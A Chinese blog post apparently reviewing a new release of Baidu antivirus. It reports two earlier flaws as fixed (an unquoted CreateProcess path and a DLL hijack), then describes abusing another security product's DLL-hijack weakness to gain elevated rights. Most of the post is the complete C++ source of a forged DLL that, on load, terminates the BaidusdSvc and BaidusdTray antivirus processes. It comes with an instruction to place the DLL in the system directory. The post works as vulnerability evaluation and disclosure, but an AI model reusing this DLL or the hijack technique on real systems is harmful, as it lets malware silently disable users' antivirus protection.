欢迎来到 嗅灵易学

零基础也能上手的脚本技术课,一对一答疑带你入门

[原创]BD杀毒新版评测

[原创]BD杀毒新版评测

今天才看到BD杀毒软件发布了一个新版本,于是就想看看上个版本发现的一些脆弱性BUG有没有得到修复
已知上个版本的两个BUG。
1.CreateProcess对参数lpCmdLine中的程序路径没有使用双引号阻止隔断,导致可在BD杀毒软件的安装分区根目录下放置一个Program.exe命名的任意文件就可以废掉BaidusdSvc和Baidusd两个程序。
2.升级模块存在Dll劫持漏洞,原因是升级过程中去加载了一个updlog.dll,但是这个文件不存在。

刚才安装了最新版本,测试发现
1问题已经彻底修改,没有再出现空格截断这个问题。
2问题用ApiMonitor跑了几圈,发现已经不会去加载这个DLL了,剩余几个不存在的DLL都是在安装目录下,因为有文件系统保护,所以已经不存在劫持了。
本以为十分完美了,然后又尝试了一下结束BD杀毒相关进程的代码,直接结束还是权限不够。
然后就祭出白加黑,用xx电脑管家的Dll劫持漏洞,去取得高级进程权限,然后尝试干掉BD杀毒进程,然后,然后就成功了。。。。
伪造个模块,代码如下,具体哪个模块不便公开。


// dllmain.cpp : 定义 DLL 应用程序的入口点。

#include "stdafx.h"

#include <Windows.h>

#include <tchar.h>

#include <Psapi.h>

#include <Tlhelp32.h.>

#pragma comment (lib, "psapi.lib")

HANDLE GetProcessHandleByName(LPCTSTR lpProcessName);

VOID KillBdsd();

BOOL APIENTRY DllMain( HMODULE hModule,

					  DWORD  ul_reason_for_call,

					  LPVOID lpReserved

					  )

{

	DisableThreadLibraryCalls(hModule);

	switch (ul_reason_for_call)

	{

	case DLL_PROCESS_ATTACH:

		{

			KillBdsd();

			break;

		}

	case DLL_THREAD_ATTACH:

	case DLL_THREAD_DETACH:

	case DLL_PROCESS_DETACH:

		break;

	}

	return FALSE;

}

VOID KillBdsd()

{

	HANDLE hProcess = NULL;

	hProcess = GetProcessHandleByName(_T("BaidusdSvc.exe"));

	if (NULL == hProcess)

	{

		MessageBox(GetDesktopWindow(), 

			_T("打开进程BaidusdSvc失败!"), 

			NULL, 

			MB_OK | MB_TOPMOST | MB_SYSTEMMODAL);

	}

	else

	{

		if (FALSE == TerminateProcess(hProcess, 0))

		{

			MessageBox(GetDesktopWindow(), 

				_T("关闭进程BaidusdSvc失败!"), 

				NULL, 

				MB_OK | MB_TOPMOST | MB_SYSTEMMODAL);

		}

		else

		{

			MessageBox(GetDesktopWindow(), 

				_T("进程BaidusdSvc已终止!"), 

				NULL, 

				MB_OK | MB_TOPMOST | MB_SYSTEMMODAL);

		}

		CloseHandle(hProcess);

	}

	hProcess = GetProcessHandleByName(_T("BaidusdTray.exe"));

	if (NULL == hProcess)

	{

		MessageBox(GetDesktopWindow(), 

			_T("打开进程BaidusdTray失败!"), 

			NULL, 

			MB_OK | MB_TOPMOST | MB_SYSTEMMODAL);

	}

	else

	{

		if (FALSE == TerminateProcess(hProcess, 0))

		{

			MessageBox(GetDesktopWindow(), 

				_T("关闭进程BaidusdTray失败!"), 

				NULL, 

				MB_OK | MB_TOPMOST | MB_SYSTEMMODAL);

		}

		else

		{

			MessageBox(GetDesktopWindow(), 

				_T("进程BaidusdTray已关闭!"), 

				NULL, 

				MB_OK | MB_TOPMOST | MB_SYSTEMMODAL);

		}

		CloseHandle(hProcess);

	}

}

HANDLE GetProcessHandleByName(LPCTSTR lpProcessName)

{

	HANDLE hProcess = NULL;

	HANDLE hSnapShot = NULL;

	PROCESSENTRY32 pe32;

	ZeroMemory(&pe32, sizeof(PROCESSENTRY32));

	pe32.dwSize = sizeof(PROCESSENTRY32);

	hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

	if (INVALID_HANDLE_VALUE != hSnapShot)

	{

		Process32First(hSnapShot, &pe32);

		do

		{

			if (pe32.th32ProcessID == 0 || pe32.th32ProcessID == GetCurrentProcessId())

			{

				continue;

			}

			if ( 0 == _tcsicmp(pe32.szExeFile, lpProcessName))

			{

				hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID);

				break;

			}

		}while(Process32Next(hSnapShot, &pe32));

		CloseHandle(hSnapShot);

	}

	return hProcess;

}


然后把这个模块丢到系统目录下。
然后看图。。


后来又测试了一下普通进程,拿到Debug权限之后也是可以结束BD杀毒的服务进程和托盘进程的,当然前提是需要先关掉BD杀毒的自我保护。
反观其他一些杀软或者安全软件,就算关闭自我保护,还是不能terminate他的进程的。
BD业界良心啊。。。

上传的附件 image003.png
image006.png
image007.png

注意:上传附件及图片大小不得大于30M。

⚠️ 版权声明:
本博客所有内容(含教程、源码、工具)仅供个人技术学习与研究交流使用,严禁商用、倒卖、二次分发及非法用途。
未经作者书面授权,任何组织或个人不得转载、复制或用于其他平台,违者将追究相关责任。

0 0 0 举报
复制成功